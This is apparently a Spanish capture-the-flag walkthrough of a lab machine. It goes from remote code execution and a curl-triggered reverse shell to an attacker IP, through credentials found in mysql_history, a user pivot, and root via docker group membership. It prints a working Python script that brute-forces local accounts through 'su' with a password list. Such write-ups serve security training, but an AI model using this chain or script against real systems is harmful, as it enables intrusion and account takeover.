Observamos que tenemos RCE le hemos pasado un id, y nos ah reportado la informacion que le hemos solicitado.
Ahora vamos a ganar acceso a la maquina.
Numero uno usando la misma solicitud de id la usaremos para enviarnos una rever, aprovechando que lo que hace la consulta es un read, vamos enivar una solictud usando curl ah nuestra IP atacante.
Segundo nos creamos un index.html con esta estructura que es el archivo que intentara leer cuando se envie la solicitud.
Tercero nos compartimos un servidor con python3 para enviarnos la solicitud desde la web
Como cuarto punto observamos que hemos ganado acceso a la maquina donde hacemos un whoami y somos www-data.
Ahora enumerando procesos en la maquina observamos que esta corriendose un servicio de mysql.
Si listamos los archivos ocultos observamos el de mysql_history donde podemos observar credenciales de acceso.
Nos conectamos a la base de datos y tenemos un nombre juan y una contraseña en base64.
Como numero uno hacemos la reconvercion del formato del base64 a su texto original, si hacemos un grep del /etc/passwd observamos que existe un usuario llamado juan y entonces hacemos un UserPivoting, y ahora migramos de www-data a juan, Observamos que en el directorio de juan tenemos unas password.
Como el ssh no esta disponible nos vamos a crear un script en python3
Con el script que creamos para comprobar que contraseña es valida para cada usuario a nivel de sistema obtenemos una respuesta positiva para el usuario jose.
Los usuarios los saque del /home que igualmente los puedes listar en el /passwd.
#!/usr/bin/env python3
# Autor: rodgar
import subprocess
def verificar_contraseña(usuario, contraseña):
# Intentar autenticar al usuario con la contraseña proporcionada
proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
salida, error = proceso.communicate(input=(contraseña + '\n').encode())
# Verificar si la autenticación fue exitosa
if proceso.returncode == 0:
return True
else:
return False
# Lista de usuarios y contraseñas
usuarios = ["carmen", "john", "jose", "juan"]
contraseñas = [
"Tr0ub4dor&3", "M0nkey!2024", "L3tMeIn@2024", "S3cur3P@ssw0rd",
"P@ssw0rd1234", "G00dP@ssw0rd!", "R3liable#2024", "W1nter$2024",
"H@ppyD@y#1", "4U&Me2Day!", "B3stS3cur!ty", "F1rst&Last@2024"
]
# Función para imprimir en color
def imprimir_color(mensaje, color):
print("\033[" + color + "m" + mensaje + "\033[0m")
# Iterar sobre cada usuario
for usuario in usuarios:
# Variable para controlar si se encontró una contraseña válida para el usuario
contraseña_encontrada = False
# Iterar sobre cada contraseña para el usuario actual
for contraseña in contraseñas:
if verificar_contraseña(usuario, contraseña):
imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
contraseña_encontrada = True
break
# Si ninguna contraseña fue válida, imprimir un mensaje en rojo
if not contraseña_encontrada:
imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")
Aca dejo el script creado.
Con la contraseña valida nos migramos a jose y obervamos que esta en el grupo docker, nos vamos al GTFObins y wala.
Ejecutamos y somos root, buscamos nuestras banderas y maquina resuelta.